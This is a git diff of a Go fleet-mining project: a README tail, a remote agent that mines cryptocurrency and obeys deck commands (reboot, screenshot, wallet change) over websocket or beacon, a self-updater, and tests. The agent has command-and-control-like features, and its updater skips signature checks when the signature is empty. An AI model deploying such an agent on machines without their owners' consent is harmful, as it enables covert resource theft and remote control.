dev-grade.** Dev builds may skip verification with a warning. +- **USB copies are not hardened live media.** Rotate all secrets before production use. + +--- + +## Security Notes + +- Change `auth.basic_password` and `auth.fleet_secret` before exposing the deck. +- Do not commit `data/signing.key`, `data/cloudflared-token.txt`, or `data/forge-mesh.db`. +- L0–L4 clearance gates are policy-enforced, not cryptographic. Compromised deck credentials bypass all gates. +- USB copies carry your fleet secret — treat the device like a key. +- Subnet sweeps (`/api/v1/fleet/subnets/sweep`) only probe operator-declared CIDRs. + +--- + +## Project Layout + +``` +aetherforge-linux/ +├── cmd/ +│ ├── agent/ # forge-mesh-agent binary +│ ├── forge/ # forge CLI (build/sign artifacts) +│ └── server/ # forge-mesh-server + embedded webroot +├── internal/ +│ ├── alerts/ # Telegram notifier +│ ├── api/ # HTTP server, router, handlers, WS hub +│ ├── auth/ # Basic auth, fleet secret middleware, ticket store +│ ├── config/ # Config loader +│ ├── court/ # Singular Machine Court + Seer event hub +│ ├── db/ # SQLite open/migrate +│ ├── erasure/ # Reed-Solomon erasure coding (T12) +│ ├── fleet/ # Host store, fleet hub, tier chain, recon, atlas +│ ├── forge/ # Build pipeline, key pair, artifact signing +│ ├── mining/ # Mining chain, tier implementations, mock miner +│ ├── policy/ # Mining profile policy +│ ├── stratum/ # TCP stratum proxy (XMR + RVN) +│ └── testutil/ # Shared test helpers +├── web/ # React + Vite + Tailwind Command Deck +├── deploy/systemd/ # systemd unit files +├── scripts/ # LAUNCH.sh, pack-usb.sh, test runners, install template +├── data/ # Runtime data (config, SQLite, signing key, artifacts) +├── docs/ # TESTING.md, PROBLEMS.md +├── dist/ # Packed portable tarballs +└── Makefile +``` diff --git a/cmd/agent/.gitkeep b/cmd/agent/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/cmd/agent/main.go b/cmd/agent/main.go new file mode 100644 index 0000000..2367692 --- /dev/null +++ b/cmd/agent/main.go @@ -0,0 +1,462 @@ +package main + +import ( + "bytes" + "context" + "encoding/json" + "flag" + "log" + "net/http" + "os" + "os/exec" + "os/signal" + "path/filepath" + "runtime" + "strings" + "sync" + "syscall" + "time" + + "forge-mesh/internal/api/types" + "forge-mesh/internal/mining" + "forge-mesh/internal/policy" + + "github.com/gorilla/websocket" +) + +const agentVersion = "0.1.0-dev" + +func main() { + deckURL := flag.String("deck-url", "", "deck base URL (alias: -deck, -server)") + deck := flag.String("deck", "", "deck base URL") + server := flag.String("server", "", "deck base URL (deprecated alias)") + secret := flag.String("secret", "", "fleet bearer secret") + pubKey := flag.String("pubkey", "", "ed25519 public key hex for signed self-update") + hostID := flag.String("host-id", "", "stable host id (optional, persisted under data dir)") + stratumHost := flag.String("stratum-host", "127.0.0.1", "stratum proxy host") + wallet := flag.String("wallet", "", "fallback wallet when no server profile") + dataDir := flag.String("data-dir", defaultDataDir(), "agent state directory") + flag.Parse() + + baseURL := coalesceEnv( + *deckURL, *deck, *server, + os.Getenv("FORGE_MESH_DECK_URL"), + os.Getenv("FORGE_DECK_URL"), + "http://127.0.0.1:8989", + ) + baseURL = strings.TrimRight(baseURL, "/") + + *secret = coalesceEnv(*secret, os.Getenv("FORGE_MESH_FLEET_SECRET"), os.Getenv("FORGE_FLEET_SECRET")) + if *secret == "" { + log.Fatal("fleet secret required (-secret, FORGE_MESH_FLEET_SECRET, or FORGE_FLEET_SECRET)") + } + + *pubKey = coalesceEnv(*pubKey, os.Getenv("FORGE_MESH_PUBKEY"), os.Getenv("FORGE_PUBKEY")) + + hostname, _ := os.Hostname() + if err := os.MkdirAll(*dataDir, 0o755); err != nil { + log.Fatalf("data dir: %v", err) + } + + if *hostID == "" { + *hostID = loadHostID(*dataDir) + } + if *hostID == "" { + *hostID = registerHost(baseURL, *secret, hostname) + } + if *hostID != "" { + saveHostID(*dataDir, *hostID) + } + + if *wallet == "" { + *wallet = os.Getenv("FORGE_WALLET") + } + + profile := policy.DefaultMiningProfile(*wallet) + chainCfg := mining.DefaultChainConfig() + chainCfg.StratumHost = *stratumHost + chainCfg.HostID = *hostID + chain := mining.NewChain(profile, chainCfg) + + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + + var wg sync.WaitGroup + wg.Add(1) + go func() { + defer wg.Done() + if err := chain.Run(ctx); err != nil && ctx.Err() == nil { + log.Printf("mining chain stopped: %v", err) + } + }() + + agent := &Agent{ + ctx: ctx, + serverURL: baseURL, + secret: *secret, + hostID: *hostID, + hostname: hostname, + pubKeyHex: *pubKey, + chain: chain, + } + + go agent.run(ctx) + go agent.selfUpdateLoop(ctx) + + sig := make(chan os.Signal, 1) + signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM) + <-sig + cancel() + chain.Stop() + wg.Wait() +} + +type Agent struct { + ctx context.Context + serverURL string + secret string + hostID string + hostname string + pubKeyHex string + chain *mining.Chain + + mu sync.Mutex + conn *websocket.Conn +} + +func (a *Agent) run(ctx context.Context) { + backoff := time.Second + for { + select { + case <-ctx.Done(): + return + default: + } + + if err := a.connect(ctx); err != nil { + log.Printf("agent ws: %v (retry in %s)", err, backoff) + a.beaconFallback() + select { + case <-ctx.Done(): + return + case <-time.After(backoff): + } + if backoff < 30*time.Second { + backoff *= 2 + } + continue + } + backoff = time.Second + } +} + +func (a *Agent) selfUpdateLoop(ctx context.Context) { + if a.pubKeyHex == "" { + return + } + ticker := time.NewTicker(30 * time.Minute) + defer ticker.Stop() + for { + select { + case <-ctx.Done(): + return + case <-ticker.C: + a.maybeSelfUpdate(a.pubKeyHex) + } + } +} + +func (a *Agent) connect(ctx context.Context) error { + wsURL := strings.Replace(a.serverURL, "http://", "ws://", 1) + wsURL = strings.Replace(wsURL, "https://", "wss://", 1) + wsURL += "/api/v1/ws/fleet?token=" + a.secret + + header := http.Header{} + header.Set("Authorization", "Bearer "+a.secret) + + dialer := websocket.Dialer{HandshakeTimeout: 10 * time.Second} + conn, _, err := dialer.DialContext(ctx, wsURL, header) + if err != nil { + return err + } + + a.mu.Lock() + a.conn = conn + a.mu.Unlock() + defer func() { + a.mu.Lock() + a.conn = nil + a.mu.Unlock() + conn.Close() + }() + + log.Printf("agent %s (%s) connected to %s", a.hostname, a.hostID, a.serverURL) + + if err := a.sendHeartbeat(); err != nil { + return err + } + + hbTicker := time.NewTicker(15 * time.Second) + defer hbTicker.Stop() + + for { + select { + case <-ctx.Done(): + return ctx.Err() + case <-hbTicker.C: + if err := a.sendHeartbeat(); err != nil { + return err + } + default: + } + + _ = conn.SetReadDeadline(time.Now().Add(60 * time.Second)) + _, data, err := conn.ReadMessage() + if err != nil { + return err + } + + var msg types.WsMessage + if err := json.Unmarshal(data, &msg); err != nil { + continue + } + switch msg.Type { + case "command": + if msg.Command != nil { + a.handleCommand(*msg.Command) + } + case "mining_profile": + if profileRaw, ok := msg.Payload["profile"]; ok { + b, _ := json.Marshal(profileRaw) + var profile types.MiningProfile + if json.Unmarshal(b, &profile) == nil { + a.handleCommand(types.FleetCommand{Action: "mining_profile", Args: map[string]any{"profile": profileRaw}}) + } + } + } + } +} + +func (a *Agent) sendHeartbeat() error { + st := a.chain.Status() + hb := types.HeartbeatPayload{ + HostID: a.hostID, + Hostname: a.hostname, + Arch: runtime.GOARCH, + CurrentTier: st.CurrentTier, + TierType: st.TierType, + TierState: st.TierState, + } + hb.SetHashrateFields(st.HashrateHps) + + payload, _ := json.Marshal(map[string]any{ + "type": "heartbeat", + "host_id": hb.HostID, + "hostname": hb.Hostname, + "arch": hb.Arch, + "hashrate": hb.Hashrate, + "hashrate_hps": hb.HashrateHps, + "current_tier": hb.CurrentTier, + "tier_type": hb.TierType, + "tier_state": hb.TierState, + }) + + a.mu.Lock() + conn := a.conn + a.mu.Unlock() + if conn == nil { + return nil + } + return conn.WriteMessage(websocket.TextMessage, payload) +} + +func (a *Agent) handleCommand(cmd types.FleetCommand) { + var cmdErr error + switch cmd.Action { + case "mining_profile": + raw, ok := cmd.Args["profile"] + if !ok { + cmdErr = errCommand("missing profile") + break + } + b, _ := json.Marshal(raw) + var profile types.MiningProfile + if err := json.Unmarshal(b, &profile); err != nil { + cmdErr = err + break + } + a.chain.UpdateProfile(profile) + go func() { + if err := a.chain.Run(a.ctx); err != nil && a.ctx.Err() == nil { + log.Printf("mining chain restart: %v", err) + } + }() + log.Printf("agent: mining profile updated wallet=%s tiers=%d", profile.WalletAddress, len(profile.Tiers)) + case "pause": + a.chain.Stop() + case "resume": + go func() { + if err := a.chain.Run(a.ctx); err != nil && a.ctx.Err() == nil { + log.Printf("mining chain resume: %v", err) + } + }() + case "reboot": + cmdErr = exec.Command("systemctl", "reboot").Run() + case "screenshot": + cmdErr = a.takeScreenshot() + default: + log.Printf("unknown command: %s", cmd.Action) + cmdErr = errCommand("unknown action") + } + a.sendCommandAck(cmd, cmdErr) +} + +func (a *Agent) sendCommandAck(cmd types.FleetCommand, err error) { + ack := map[string]any{ + "type": "command_ack", + "command": cmd.Action, + "ok": err == nil, + } + if err != nil { + ack["error"] = err.Error() + } + payload, _ := json.Marshal(ack) + + a.mu.Lock() + conn := a.conn + a.mu.Unlock() + if conn == nil { + return + } + _ = conn.WriteMessage(websocket.TextMessage, payload) +} + +func (a *Agent) beaconFallback() { + st := a.chain.Status() + hb := types.HeartbeatPayload{ + HostID: a.hostID, + Hostname: a.hostname, + Arch: runtime.GOARCH, + CurrentTier: st.CurrentTier, + TierType: st.TierType, + TierState: st.TierState, + } + hb.SetHashrateFields(st.HashrateHps) + + body, _ := json.Marshal(hb) + for _, path := range []string{"/api/v1/fleet/beacon", "/api/v1/beacon"} { + req, err := http.NewRequest(http.MethodPost, a.serverURL+path, bytes.NewReader(body)) + if err != nil { + continue + } + req.Header.Set("Authorization", "Bearer "+a.secret) + req.Header.Set("Content-Type", "application/json") + + resp, err := http.DefaultClient.Do(req) + if err != nil { + continue + } + if resp.StatusCode != http.StatusOK { + resp.Body.Close() + continue + } + + var br types.BeaconResponse + if err := json.NewDecoder(resp.Body).Decode(&br); err != nil { + resp.Body.Close() + continue + } + resp.Body.Close() + for _, cmd := range br.Commands { + a.handleCommand(cmd) + } + return + } +} + +func (a *Agent) takeScreenshot() error { + for _, tool := range []string{"grim", "scrot", "import"} { + if _, err := exec.LookPath(tool); err != nil { + continue + } + out := "/tmp/forge-mesh-screenshot.png" + var cmd *exec.Cmd + switch tool { + case "grim": + cmd = exec.Command("grim", out) + case "scrot": + cmd = exec.Command("scrot", out) + default: + cmd = exec.Command("import", "-window", "root", out) + } + if err := cmd.Run(); err == nil { + log.Printf("screenshot saved to %s", out) + return nil + } + } + log.Println("screenshot: no tool available (grim/scrot/import)") + return nil +} + +func registerHost(baseURL, secret, hostname string) string { + body, _ := json.Marshal(map[string]string{"hostname": hostname}) + req, err := http.NewRequest(http.MethodPost, baseURL+"/api/v1/fleet/register", bytes.NewReader(body)) + if err != nil { + return "" + } + req.Header.Set("Authorization", "Bearer "+secret) + req.Header.Set("Content-Type", "application/json") + resp, err := http.DefaultClient.Do(req) + if err != nil || resp.StatusCode != http.StatusOK { + return "" + } + defer resp.Body.Close() + var out struct { + HostID string `json:"host_id"` + } + if err := json.NewDecoder(resp.Body).Decode(&out); err != nil { + return "" + } + return out.HostID +} + +func defaultDataDir() string { + if runtime.GOOS == "linux" { + if _, err := os.Stat("/opt/forge-mesh"); err == nil { + return "/opt/forge-mesh" + } + } + home, _ := os.UserHomeDir() + return filepath.Join(home, ".forge-mesh") +} + +func hostIDPath(dataDir string) string { + return filepath.Join(dataDir, "host.id") +} + +func loadHostID(dataDir string) string { + data, err := os.ReadFile(hostIDPath(dataDir)) + if err != nil { + return "" + } + return strings.TrimSpace(string(data)) +} + +func saveHostID(dataDir, id string) { + _ = os.WriteFile(hostIDPath(dataDir), []byte(id), 0o644) +} + +func coalesceEnv(values ...string) string { + for _, v := range values { + if strings.TrimSpace(v) != "" { + return strings.TrimSpace(v) + } + } + return "" +} + +type commandError string + +func (e commandError) Error() string { return string(e) } + +func errCommand(msg string) error { return commandError(msg) } diff --git a/cmd/agent/tier_chain_test.go b/cmd/agent/tier_chain_test.go new file mode 100644 index 0000000..9dc5a9f --- /dev/null +++ b/cmd/agent/tier_chain_test.go @@ -0,0 +1,134 @@ +package main + +import ( + "context" + "net" + "testing" + "time" + + "forge-mesh/internal/api/types" + "forge-mesh/internal/mining" +) + +func startMockStratum(t *testing.T) (host, port string) { + t.Helper() + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = ln.Close() }) + go func() { + for { + conn, err := ln.Accept() + if err != nil { + return + } + go func(c net.Conn) { + defer c.Close() + buf := make([]byte, 4096) + _, _ = c.Read(buf) + }(conn) + } + }() + host, port, _ = net.SplitHostPort(ln.Addr().String()) + return host, port +} + +func TestMinerTierChainStateMachine(t *testing.T) { + host, port := startMockStratum(t) + + profile := types.MiningProfile{ + WalletAddress: "chain-wallet", + Tiers: []types.MiningTierSpec{ + {Type: "stratum", Duration: 0, Config: map[string]string{"algo": "rx/0"}}, + {Type: "stratum", Duration: 0, Config: map[string]string{"algo": "rx/0"}}, + }, + } + + cfg := mining.DefaultChainConfig() + cfg.HostID = "chain-host" + cfg.StratumHost = host + cfg.StratumXMRPort = port + cfg.GateWindow = 100 * time.Millisecond + cfg.PollInterval = 40 * time.Millisecond + cfg.DefaultProbe = 800 * time.Millisecond + cfg.MinHashrateHps = 500 + + chain := mining.NewChain(profile, cfg) + ctx, cancel := context.WithTimeout(context.Background(), 12*time.Second) + defer cancel() + + go func() { _ = chain.Run(ctx) }() + + seen := map[string]bool{} + deadline := time.Now().Add(10 * time.Second) + + for time.Now().Before(deadline) { + st := chain.Status() + if st.TierState != "" { + seen[st.TierState] = true + } + if st.CurrentTier >= 1 && st.HashrateHps >= cfg.MinHashrateHps && st.TierState == mining.TierStateActive { + if st.Wallet != "chain-wallet" { + t.Fatalf("wallet not pinned: %q", st.Wallet) + } + break + } + time.Sleep(80 * time.Millisecond) + } + + chain.Stop() + cancel() + + if !seen[mining.TierStateProbing] { + t.Fatal("expected probing state in tier chain") + } + if !seen[mining.TierStateActive] { + t.Fatal("expected active state during mock stratum tier") + } + + st := chain.Status() + if st.CurrentTier < 1 { + t.Fatalf("expected tier progression, got tier %d", st.CurrentTier) + } +} + +func TestMinerTierChainMockHashrateGate(t *testing.T) { + host, port := startMockStratum(t) + + profile := types.MiningProfile{ + WalletAddress: "mock-wallet", + Tiers: []types.MiningTierSpec{ + {Type: "stratum", Duration: 0, Config: map[string]string{"algo": "rx/0"}}, + }, + } + + cfg := mining.DefaultChainConfig() + cfg.HostID = "mock-host" + cfg.StratumHost = host + cfg.StratumXMRPort = port + cfg.GateWindow = 50 * time.Millisecond + cfg.PollInterval = 25 * time.Millisecond + cfg.DefaultProbe = 2 * time.Second + cfg.MinHashrateHps = 100 + + chain := mining.NewChain(profile, cfg) + ctx, cancel := context.WithTimeout(context.Background(), 6*time.Second) + defer cancel() + + go func() { _ = chain.Run(ctx) }() + + deadline := time.Now().Add(5 * time.Second) + for time.Now().Before(deadline) { + st := chain.Status() + if st.HashrateHps >= cfg.MinHashrateHps && st.TierState == mining.TierStateActive { + if !st.Simulated { + t.Log("using real stratum path (non-simulated)") + } + chain.Stop() + return + } + time.Sleep(50 * time.Millisecond) + } + t.Fatal("mock stratum tier did not reach hashrate gate") +} diff --git a/cmd/agent/update.go b/cmd/agent/update.go new file mode 100644 index 0000000..08e6e92 --- /dev/null +++ b/cmd/agent/update.go @@ -0,0 +1,160 @@ +package main + +import ( + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "os" + "os/exec" + "path/filepath" + "runtime" + "syscall" + "time" + + "forge-mesh/internal/forge" +) + +type buildMeta struct { + ID string `json:"id"` + OS string `json:"os"` + Arch string `json:"arch"` + Version string `json:"version"` + Checksum string `json:"checksum"` + Signature string `json:"signature"` +} + +func (a *Agent) maybeSelfUpdate(pubKeyHex string) { + if pubKeyHex == "" { + return + } + if err := a.checkAndApplyUpdate(pubKeyHex); err != nil { + log.Printf("self-update: %v", err) + } +} + +func (a *Agent) checkAndApplyUpdate(pubKeyHex string) error { + meta, err := a.fetchLatestBuild() + if err != nil { + return err + } + if meta.Checksum == "" { + return fmt.Errorf("build metadata missing checksum") + } + + exe, err := os.Executable() + if err != nil { + return err + } + exe, err = filepath.EvalSymlinks(exe) + if err != nil { + return err + } + + data, err := os.ReadFile(exe) + if err != nil { + return err + } + current := sha256.Sum256(data) + if hex.EncodeToString(current[:]) == meta.Checksum { + return nil + } + + log.Printf("self-update: new build %s (%s) available", meta.ID, meta.Version) + + tmp, err := os.CreateTemp(filepath.Dir(exe), "forge-mesh-agent-update-*") + if err != nil { + return err + } + tmpPath := tmp.Name() + defer os.Remove(tmpPath) + + downloadURL := fmt.Sprintf("%s/api/v1/public/download/%s", a.serverURL, meta.ID) + resp, err := http.Get(downloadURL) + if err != nil { + tmp.Close() + return err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + tmp.Close() + return fmt.Errorf("download status %d", resp.StatusCode) + } + if _, err := io.Copy(tmp, resp.Body); err != nil { + tmp.Close() + return err + } + if err := tmp.Close(); err != nil { + return err + } + + artifact, err := os.ReadFile(tmpPath) + if err != nil { + return err + } + sum := sha256.Sum256(artifact) + if hex.EncodeToString(sum[:]) != meta.Checksum { + return fmt.Errorf("downloaded checksum mismatch") + } + + pub, err := forge.ParsePublicKeyHex(pubKeyHex) + if err != nil { + return err + } + if meta.Signature != "" && !forge.Verify(pub, artifact, meta.Signature) { + return fmt.Errorf("signature verification failed") + } + + if err := os.Chmod(tmpPath, 0o755); err != nil { + return err + } + if err := os.Rename(tmpPath, exe); err != nil { + return fmt.Errorf("replace binary: %w (restart via systemd)", err) + } + + log.Printf("self-update: applied build %s, restarting", meta.ID) + go restartAgent() + return nil +} + +func (a *Agent) fetchLatestBuild() (*buildMeta, error) { + url := fmt.Sprintf("%s/api/v1/public/builds/latest?os=linux&arch=%s", a.serverURL, runtime.GOARCH) + resp, err := http.Get(url) + if err != nil { + return nil, err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("latest build status %d", resp.StatusCode) + } + var meta buildMeta + if err := json.NewDecoder(resp.Body).Decode(&meta); err != nil { + return nil, err + } + return &meta, nil +} + +func restartAgent() { + time.Sleep(500 * time.Millisecond) + if os.Getenv("INVOCATION_ID") != "" { + _ = exec.Command("systemctl", "restart", "forge-mesh-agent").Run() + return + } + exe, err := os.Executable() + if err != nil { + os.Exit(0) + } + _ = syscall.Exec(exe, append([]string{exe}, os.Args[1:]...), os.Environ()) + os.Exit(0) +} + +func verifyAgentUpdate(pubKeyHex string, artifact []byte, sigB64 string) bool { + pub, err := forge.ParsePublicKeyHex(pubKeyHex) + if err != nil { + return false + } + return forge.Verify(pub, artifact, sigB64) +} diff --git a/cmd/agent/update_test.go b/cmd/agent/update_test.go new file mode 100644 index 0000000..316ab4b --- /dev/null +++ b/cmd/agent/update_test.go @@ -0,0 +1,67 @@ +package main + +import ( + "crypto/sha256" + "encoding/hex" + "os" + "path/filepath" + "testing" + + "forge-mesh/internal/forge" +) + +func TestSelfUpdateSignatureCheck(t *testing.T) { + dir := t.TempDir() + keyPath := filepath.Join(dir, "signing.key") + + kp, err := forge.LoadOrCreateKey(keyPath) + if err != nil { + t.Fatal(err) + } + + artifact := []byte("forge-mesh-agent-linux-amd64-test-artifact") + sig := kp.Sign(artifact) + + if !verifyAgentUpdate(kp.PublicKeyHex(), artifact, sig) { + t.Fatal("valid artifact signature rejected") + } + + tampered := append([]byte(nil), artifact...) + tampered[0] ^= 0xff + if verifyAgentUpdate(kp.PublicKeyHex(), tampered, sig) { + t.Fatal("tampered artifact should not verify") + } + + if verifyAgentUpdate("not-a-valid-pubkey", artifact, sig) { + t.Fatal("invalid pubkey should not verify") + } +} + +func TestSelfUpdateChecksumMatchesArtifact(t *testing.T) { + dir := t.TempDir() + artifactPath := filepath.Join(dir, "forge-mesh-agent-linux-amd64") + content := []byte("binary-payload-for-checksum-test") + if err := os.WriteFile(artifactPath, content, 0o755); err != nil { + t.Fatal(err) + } + + sum := sha256.Sum256(content) + expected := hex.EncodeToString(sum[:]) + + data, err := os.ReadFile(artifactPath) + if err != nil { + t.Fatal(err) + } + got := sha256.Sum256(data) + if hex.EncodeToString(got[:]) != expected { + t.Fatalf("checksum mismatch: got %s want %s", hex.EncodeToString(got[:]), expected) + } + + kp, err := forge.LoadOrCreateKey(filepath.Join(dir, "signing.key")) + if err != nil { + t.Fatal(err) + } + if !verifyAgentUpdate(kp.PublicKeyHex(), data, kp.Sign(data)) { + t.Fatal("checksum-stable artifact failed signature verification") + } +} diff --git a/cmd/agent/ws_test.go b/cmd/agent/ws_test.go new file mode 100644 index 0000000..469970c --- /dev/null +++ b/cmd/agent/ws_test.go @@ -0,0 +1,277 @@ +package main + +import ( + "context" + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" + + "forge-mesh/internal/api/types" + "forge-mesh/internal/mining" + "forge-mesh/internal/policy" + + "github.com/gorilla/websocket" +) + +func TestAgentWSHeartbeatAndCommands(t *testing.T) { + const secret = "ws-test-secret" + + var mu sync.Mutex + var heartbeats int + var commands []string + connected := make(chan struct{}, 1) + + upgrader := websocket.Upgrader{CheckOrigin: func(r *http.Request) bool { return true }} + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/api/v1/ws/fleet" { + http.NotFound(w, r) + return + } + token := r.URL.Query().Get("token") + auth := strings.TrimPrefix(r.Header.Get("Authorization"), "Bearer ") + if token != secret && auth != secret { + http.Error(w, "unauthorized", http.StatusUnauthorized) + return + } + + conn, err := upgrader.Upgrade(w, r, nil) + if err != nil { + return + } + defer conn.Close() + connected <- struct{}{} + + go func() { + for { + _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) + _, data, err := conn.ReadMessage() + if err != nil { + return + } + var msg map[string]any + if json.Unmarshal(data, &msg) == nil && msg["type"] == "heartbeat" { + mu.Lock() + heartbeats++ + mu.Unlock() + } + } + }() + + for _, action := range []string{"pause", "screenshot", "reboot"} { + cmd := types.WsMessage{ + Type: "command", + Command: &types.FleetCommand{ + ID: "test-" + action, + Action: action, + }, + } + payload, _ := json.Marshal(cmd) + if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { + t.Errorf("write command %s: %v", action, err) + return + } + mu.Lock() + commands = append(commands, action) + mu.Unlock() + time.Sleep(30 * time.Millisecond) + } + + time.Sleep(300 * time.Millisecond) + })) + defer srv.Close() + + chain := mining.NewChain(policy.DefaultMiningProfile("ws-wallet"), mining.DefaultChainConfig()) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + go func() { _ = chain.Run(ctx) }() + + agent := &Agent{ + serverURL: srv.URL, + secret: secret, + hostID: "host-ws-test", + hostname: "test-host", + chain: chain, + } + + agentCtx, agentCancel := context.WithTimeout(context.Background(), 10*time.Second) + defer agentCancel() + + errCh := make(chan error, 1) + go func() { + errCh <- agent.connect(agentCtx) + }() + + select { + case <-connected: + case err := <-errCh: + t.Fatalf("connect failed: %v", err) + case <-time.After(5 * time.Second): + t.Fatal("mock server did not receive agent connection") + } + + waitForAgentConn(t, agent, 2*time.Second) + if err := agent.sendHeartbeat(); err != nil { + t.Fatalf("send heartbeat: %v", err) + } + + select { + case err := <-errCh: + if err != nil && agentCtx.Err() == nil { + t.Fatalf("connect ended: %v", err) + } + case <-time.After(4 * time.Second): + agentCancel() + <-errCh + } + + mu.Lock() + defer mu.Unlock() + if heartbeats < 1 { + t.Fatalf("expected at least one heartbeat, got %d", heartbeats) + } + if len(commands) < 3 { + t.Fatalf("expected pause/screenshot/reboot commands, got %v", commands) + } +} + +func TestAgentBeaconFallbackCommands(t *testing.T) { + const secret = "beacon-test-secret" + var received []string + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/api/v1/fleet/beacon" { + http.NotFound(w, r) + return + } + if strings.TrimPrefix(r.Header.Get("Authorization"), "Bearer ") != secret { + http.Error(w, "unauthorized", http.StatusUnauthorized) + return + } + received = append(received, r.Method) + _ = json.NewEncoder(w).Encode(types.BeaconResponse{ + OK: true, + Commands: []types.FleetCommand{ + {ID: "b1", Action: "pause"}, + {ID: "b2", Action: "screenshot"}, + }, + }) + })) + defer srv.Close() + + chain := mining.NewChain(policy.DefaultMiningProfile("beacon-wallet"), mining.DefaultChainConfig()) + agent := &Agent{ + serverURL: srv.URL, + secret: secret, + chain: chain, + } + + agent.beaconFallback() + + if len(received) != 1 || received[0] != http.MethodPost { + t.Fatalf("expected one beacon POST, got %v", received) + } +} + +func TestAgentSendHeartbeatPayload(t *testing.T) { + upgrader := websocket.Upgrader{CheckOrigin: func(r *http.Request) bool { return true }} + got := make(chan []byte, 1) + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + conn, err := upgrader.Upgrade(w, r, nil) + if err != nil { + return + } + defer conn.Close() + _, data, err := conn.ReadMessage() + if err == nil { + got <- data + } + })) + defer srv.Close() + + wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil) + if err != nil { + t.Fatal(err) + } + defer conn.Close() + + chain := mining.NewChain(policy.DefaultMiningProfile("hb-wallet"), mining.DefaultChainConfig()) + agent := &Agent{chain: chain, conn: conn} + + if err := agent.sendHeartbeat(); err != nil { + t.Fatal(err) + } + + select { + case payload := <-got: + var msg map[string]any + if err := json.Unmarshal(payload, &msg); err != nil { + t.Fatal(err) + } + if msg["type"] != "heartbeat" { + t.Fatalf("type: got %v", msg["type"]) + } + if msg["hostname"] == nil { + t.Fatal("expected hostname in heartbeat") + } + case <-time.After(2 * time.Second): + t.Fatal("heartbeat not received by mock server") + } +} + +func waitForAgentConn(t *testing.T, agent *Agent, timeout time.Duration) { + t.Helper() + deadline := time.Now().Add(timeout) + for time.Now().Before(deadline) { + agent.mu.Lock() + ok := agent.conn != nil + agent.mu.Unlock() + if ok { + return + } + time.Sleep(20 * time.Millisecond) + } + t.Fatal("agent websocket not connected") +} + +func TestHandleCommandPauseStopsChain(t *testing.T) { + chain := mining.NewChain(policy.DefaultMiningProfile("pause-wallet"), mining.DefaultChainConfig()) + agent := &Agent{chain: chain} + agent.handleCommand(types.FleetCommand{ID: "1", Action: "pause"}) + chain.Stop() +} + +func TestHandleCommandMiningProfile(t *testing.T) { + chain := mining.NewChain(policy.DefaultMiningProfile("old-wallet"), mining.DefaultChainConfig()) + agent := &Agent{chain: chain} + + profile := types.MiningProfile{ + WalletAddress: "new-wallet", + Tiers: []types.MiningTierSpec{ + {Type: "stratum", Duration: 1}, + }, + } + raw, _ := json.Marshal(profile) + var profileArg map[string]any + _ = json.Unmarshal(raw, &profileArg) + + agent.handleCommand(types.FleetCommand{ + ID: "profile-1", + Action: "mining_profile", + Args: map[string]any{"profile": profileArg}, + }) + + updated := chain.Profile() + if updated.WalletAddress != "new-wallet" { + t.Fatalf("wallet: got %q want new-wallet", updated.WalletAddress) + } + if len(updated.Tiers) != 1 || updated.Tiers[0].Type != "stratum" { + t.Fatalf("tiers not updated: %+v", updated.Tiers) + } +} diff --git a/cmd/forge/.gitkeep b/cmd/forge/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/cmd/forge/main.go b/cmd/forge/main.go new file mode 100644 index 0000000..9eee091 --- /dev/null +++ b/cmd/forge/main.go @@ -0,0 +1,122 @@ +package main + +import ( + "flag" + "fmt" + "log" + "os" + "path/filepath" + + "forge-mesh/internal/config" + "forge-mesh/internal/db" + "forge-mesh/internal/forge" +) + +const defaultVersion = "0.1.0-dev" + +func main() { + if len(os.Args) < 2 { + printUsage() + os.Exit(1) + } + + switch os.Args[1] { + case "build": + runBuild(os.Args[2:]) + case "pubkey": + runPubkey(os.Args[2:]) + default: + printUsage() + os.Exit(1) + } +} + +func runBuild(args []string) { + fs := flag.NewFlagSet("build", flag.ExitOnError) + configPath := fs.String("config", "data/config.json", "config path") + version := fs.String("version", defaultVersion, "build version") + public := fs.Bool("public", true, "mark builds as public") + _ = fs.Parse(args) + + cfg, err := config.Load(*configPath) + if err != nil { + log.Fatalf("config: %v", err) + } + if err := cfg.EnsureDataDirs(); err != nil { + log.Fatalf("data dirs: %v", err) + } + + conn, err := db.Open(cfg.DatabasePath) + if err != nil { + log.Fatalf("database: %v", err) + } + defer conn.Close() + + root := moduleRoot() + agentPath := filepath.Join(root, "cmd", "agent") + pipe, err := forge.NewPipeline(conn, cfg.Forge.ArtifactsDir, cfg.Forge.SigningKeyPath, agentPath, *version) + if err != nil { + log.Fatalf("pipeline: %v", err) + } + + builds, err := pipe.BuildAll(*public) + if err != nil { + log.Fatalf("build: %v", err) + } + + for _, b := range builds { + fmt.Printf("built %s/%s id=%s checksum=%s path=%s\n", b.OS, b.Arch, b.ID, b.Checksum, b.Path) + } + fmt.Printf("public key: %s\n", pipe.PublicKey()) +} + +func runPubkey(args []string) { + fs := flag.NewFlagSet("pubkey", flag.ExitOnError) + configPath := fs.String("config", "data/config.json", "config path") + _ = fs.Parse(args) + + cfg, err := config.Load(*configPath) + if err != nil { + log.Fatalf("config: %v", err) + } + + kp, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath) + if err != nil { + log.Fatalf("key: %v", err) + } + fmt.Println(kp.PublicKeyHex()) +} + +func moduleRoot() string { + dir, err := os.Getwd() + if err != nil { + return "." + } + for { + if _, err := os.Stat(filepath.Join(dir, "go.mod")); err == nil { + if _, err := os.Stat(filepath.Join(dir, "cmd", "agent")); err == nil { + return dir + } + } + 